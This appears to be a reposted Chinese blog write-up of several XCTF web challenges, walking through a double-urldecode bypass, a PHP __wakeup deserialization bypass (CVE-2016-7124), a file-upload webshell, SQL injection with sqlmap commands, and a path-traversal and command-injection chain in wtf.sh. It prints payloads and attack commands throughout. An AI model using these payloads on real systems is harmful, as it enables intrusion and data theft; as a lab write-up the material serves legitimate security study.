攻防世界 — Web进阶题(第11

https://knlvre.github.io/

PHP2

进入题目后只有一句话: Can you anthenticate to this website? ,没有其他东西,扫描目录页无果。尝试在index.phps,得到源码

11-1

但是显然代码并不完整,右键查看源代码,得到如下

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

刚开始看到一个 强类型(===) 和一个 弱类型(==) 向通过他们二者的区别绕过,回来发现不可行

这题正确姿势是:

① php 在 GET 一个参数之前,会先自动urldecode

② %25 === url解码 ===> %

③ %61 === url解码 ===> a

?id=%2561dmin

11-2

当我们传入%2561dmin后,第一次自动 urldecode 结果为 %61dmin,第一个匹配 "admin" === "%61dmin"失败

第二次匹配前又 urldecode 一次,所以第二次匹配"admin" == "admin"成功,拿下 flag

unserialize3

题目进去看到代码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

先介绍一下 __wakeup() 魔术方法

它是 PHP 序列化的魔术方法之一, unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源

根据题目的意思,应该是要求我们通过code参数,传入序列化字符串,然后服务器会用unserialize()处理参数,而xctf类中存在 __wakeup() 魔术方法,所以会被先调用,执行exit()函数,退出页面。我们只要想办法使其不调用 __wakeup() 魔术方法就可以拿到 flag

后来发现这个思路是 __wakeup()魔术方法绕过(CVE-2016-7124)

漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞产生原因:
如果存在 __wakeup 方法,调用 unserilize() 方法前则先调用 __wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执

首先,生成序列化字符串

<?php

class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}

$knlvre = new xctf();

print(serialize($knlvre));

?>

12-1

我们将得到的序列化字符串中的变量数量从1改为2,或者 2 以上的数字,拿下 flag

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

upload1

先尝试上传1.php,还没点击上传就提示我请上传图像文件,猜测是前端代码检测

先将文件名改为1.png,抓包修改后缀为.php,上传成功,并且后缀就是为 .php

既然可以上传,就直接上传一个大马

连接成功,在../flag.php中拿到 flag

13-1

ics-04

题目描述: 工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag

进入题目后按照题目描述,发现有注册登陆忘记密码三个功能界面,注册一个普通用户登陆后提示:普通用户登录成功,没什么用

对三个界面依次尝试,最后在找回密码界面找到突破口

首先尝试一个不存在的用户(admin),添加 单引号 也没有报错,只是提示 没有这个用户。但是使用万能密码(admin' or '1)尝试时,却是直接绕过

14-1

列数为4,注入点在3

admin' union select 1,2,3,4 #

14-2

sqlmap

python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" --dbs

14-3

python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" -D cetc004 --tables
#返回 user

python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" -D cetc004 -T user --dump

14-4

answerpassword已经被加密了,并且无法破解。后来发现username字段并不是加密(因为拿这个用户名去重置密码是可以的),然后利用注册页面,可以重复注册用户的漏洞,再次注册这个用户名,密码自己知道,然后用这个用户名去登录,直接拿到 flag(本题登录界面应该是判断如果登录用户名是c3tlwDmIn23,就会直接给 flag)

14-5

Triangle

题目进去之后只有一个输入框,没有利用点。后来右键查看源代码,发现可疑的JS

function login(){
    var input = document.getElementById('password').value;
    var enc = enc_pw(input);
    var pw = get_pw();
    if(test_pw(enc, pw) == 1){
        alert('Well done!');
    }
    else{
        alert('Try again ...');
    }
}

但是上面提到的函数没有在源码页面找到,后来在secret.js中发现

function test_pw(e, _) {
    var t = stoh(atob(getBase64Image("eye"))),
    r = 4096,
    m = 8192,
    R = 12288,
    a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    a.reg_write_i32(uc.ARM_REG_R9, m),
    a.reg_write_i32(uc.ARM_REG_R10, R),
    a.reg_write_i32(uc.ARM_REG_R8, _.length),
    a.mem_map(r, 4096, uc.PROT_ALL);
    for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
    a.mem_map(m, 4096, uc.PROT_ALL),
    a.mem_write(m, stoh(_)),
    a.mem_map(R, 4096, uc.PROT_ALL),
    a.mem_write(R, stoh(e));
    var u = r,
    c = r + o1.length;
    return a.emu_start(u, c, 0, 0),
    a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
    var _ = stoh(atob(getBase64Image("frei"))),
    t = 4096,
    r = 8192,
    m = 12288,
    R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    R.reg_write_i32(uc.ARM_REG_R8, r),
    R.reg_write_i32(uc.ARM_REG_R9, m),
    R.reg_write_i32(uc.ARM_REG_R10, e.length),
    R.mem_map(t, 4096, uc.PROT_ALL);
    for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
    R.mem_map(r, 4096, uc.PROT_ALL),
    R.mem_write(r, stoh(e)),
    R.mem_map(m, 4096, uc.PROT_ALL);
    var o = t,
    u = t + o2.length;
    return R.emu_start(o, u, 0, 0),
    htos(R.mem_read(m, e.length))
}
function get_pw() {
    for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
    return _
}

js代码逆向,先不去接触这个知识点(参考: https://blog.csdn.net/gonganDV/article/details/96285636

wtf.sh-150

注册时,无法注册admin用户,注册一个普通用户,登录后可以 post 文章

观察URL,查看某篇文章时通过post参数提交给一个名为post.wtf的页面。查看用户的所有posts时,通过user参数提交给profile.wtf页面

对 post.wtf 的 post 参数进行fuzz,发现目录穿越

15-1

尝试,得到内容

?post=../

大专栏  攻防世界 — Web进阶题(第115-2.png" alt="15-2"/>

拿到的貌似是源码,大约地看一遍,突然看到flag字样

15-3

根据源码的内容来看,这应该是profile.wtf的源码,注意看获取 flag 的语句:

① 登陆;② cookies 字段中的name参数值为 admin;③ 这个 ${username}参数值为 admin

$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1

现在比较奇怪的就是这个 ${username} 参数,注意代码中上面的几行

① 这个 ${username} 似乎是根据 URL 中的 user 参数,然后从 users 文件中取出来(猜测这个 users 文件存储所有用户的全部或部分信息);②返回字符串 用户名+’s posts 和所有文章(这就是 profile.wtf 的界面)

file_existsusers/${URL_PARAMS['user']} $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); 

$ echo ${username}'s posts: 

$ echo $ get_users_posts${username}

现在知道 ${username} 就是用户注册的用户名,而这个值是根据 URL 中的 user 参数,然后从 users 文件中取出来,看一下 profile.wtf 提交请求时的 user 参数

15-4

可以看到 user 应该是被加密,并且能在 users 文件中对应某个账户,而拿到 flag 的其中一步就是让 ${username} 变量的值等于 admin ,必须拿到 users 文件中 admin 对应的 user 的值。既然存在目录穿越,所以现在就可以直接试着去读取 users 文件

15-5

虽然没能看到 user 值,但是看到了类似TOKEN的值,对比一下我自己随便注册的用户

15-6

15-7

现在可以确定这个类似 TOKEN 的字段就是 TOKEN,试着用其登录 admin

15-8

登陆成功

15-9

迫不及待的点击 profile 拿到了 user 字段的值

15-10

修改这三个字段:URL 中的 userCookie 中的 USERNAMECookie 中的 TOKEN,拿到了 flag 但是只有一半

xctf{cb49256d1ab48803

15-11

继续看源代码,发现

max_page_include_depth=64
page_include_depth=0
function include_page {
    # include_page &lt;pathname&gt;
    local pathname=$1
    local cmd=""
    [[ "${pathname:(-4)}" = '.wtf' ]];
    local can_execute=$?;
    page_include_depth=$(($page_include_depth+1))
    if [[ $page_include_depth -lt $max_page_include_depth ]]
    then
        local line;
        while read -r line; do
            # check if we're in a script line or not ($ at the beginning implies script line)
            # also, our extension needs to be .wtf
            [[ "$" = "${line:0:1}" &amp;&amp; ${can_execute} = 0 ]];
            is_script=$?;

            # execute the line.
            if [[ $is_script = 0 ]]
            then
                cmd+=$'n'"${line#"$"}";
            else
                if [[ -n $cmd ]]
                then
                    eval "$cmd" || log "Error during execution of ${cmd}";
                    cmd=""
                fi
                echo $line
            fi
        done &lt; ${pathname}
    else
        echo "&lt;p&gt;Max include depth exceeded!&lt;p&gt;"
    fi
}

以及一段可以执行 wtf 文件的 reply 函数,存在路径穿越

function reply {
    local post_id=$1;
    local username=$2;
    local text=$3;
    local hashed=$(hash_username "${username}");

    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
    next_reply_id=$(awk '{print $1+1}' &lt;&lt;&lt; "${curr_id}");
    next_file=(posts/${post_id}/${next_reply_id});
    echo "${username}" &gt; "${next_file}";
    echo "RE: $(nth_line 2 &lt; "posts/${post_id}/1")" &gt;&gt; "${next_file}";
    echo "${text}" &gt;&gt; "${next_file}";

    # add post this is in reply to to posts cache
    echo "${post_id}/${next_reply_id}" &gt;&gt; "users_lookup/${hashed}/posts";
}

点击浏览器用户点击 reply,回复抓包修改 post 参数的路径(后面要加 %09 制表符才不会被当做目录解析)

15-12

访问

15-13

然后注册用户名为可执行命令的用户,如 ${find,/,-iname,get_flag2},注意注册的时候不能用空格,要用英文字母的逗号代替。重复上面提交到 m.wtf 的步骤,然后访问就可以 命令执行

15-14

15-15

最后注册用户 $/usr/bin/get_flag2,访问 m.wtf

Flag: 149e5ec49d3c29ca}

15-16

ics-07

题目描述:工控云管理系统项目管理页面解析漏洞

还是那个熟悉的界面,点击项目管理,左下角有view-source.php可以查看源码

<?php
session_start();

if (!isset($_GET[page])) {
  show_source(__FILE__);
  die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
  include('flag.php');
}else {
  header('Location: ?page=flag.php');
}

?>

<form action="#" method="get">
  page : <input type="text" name="page" value="">
  id : <input type="text" name="id" value="">
  <input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>

<?php
 if ($_SESSION['admin']) {
   $con = $_POST['con'];
   $file = $_POST['file'];
   $filename = "backup/".$file;

   if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
      die("Bad file extension");
   }else{
       chdir('uploaded');
       $f = fopen($filename, 'w');
       fwrite($f, $con);
       fclose($f);
   }
 }
 ?>

<?php
  if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
    include 'config.php';
    $id = mysql_real_escape_string($_GET[id]);
    $sql="select * from cetc007.user where id='$id'";
    $result = mysql_query($sql);
    $result = mysql_fetch_object($result);
  } else {
    $result = False;
    die();
  }

  if(!$result)die("<br >something wae wrong ! <br>");
  if($result){
    echo "id: ".$result->id."</br>";
    echo "name:".$result->user."</br>";
    $_SESSION['admin'] = True;
  }
 ?>

首先需要使得$_SESSION['admin'] = True才能去写文件

17-1

然后貌似题目环境出问题了,因为提交id=1/9提示Could not connect: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2),先不做

i-got-id-200

8-1

Forms页面对提交的数据有返回,File页面可以上传文件

猜你喜欢

转载自www.cnblogs.com/lijianming180/p/12389572.html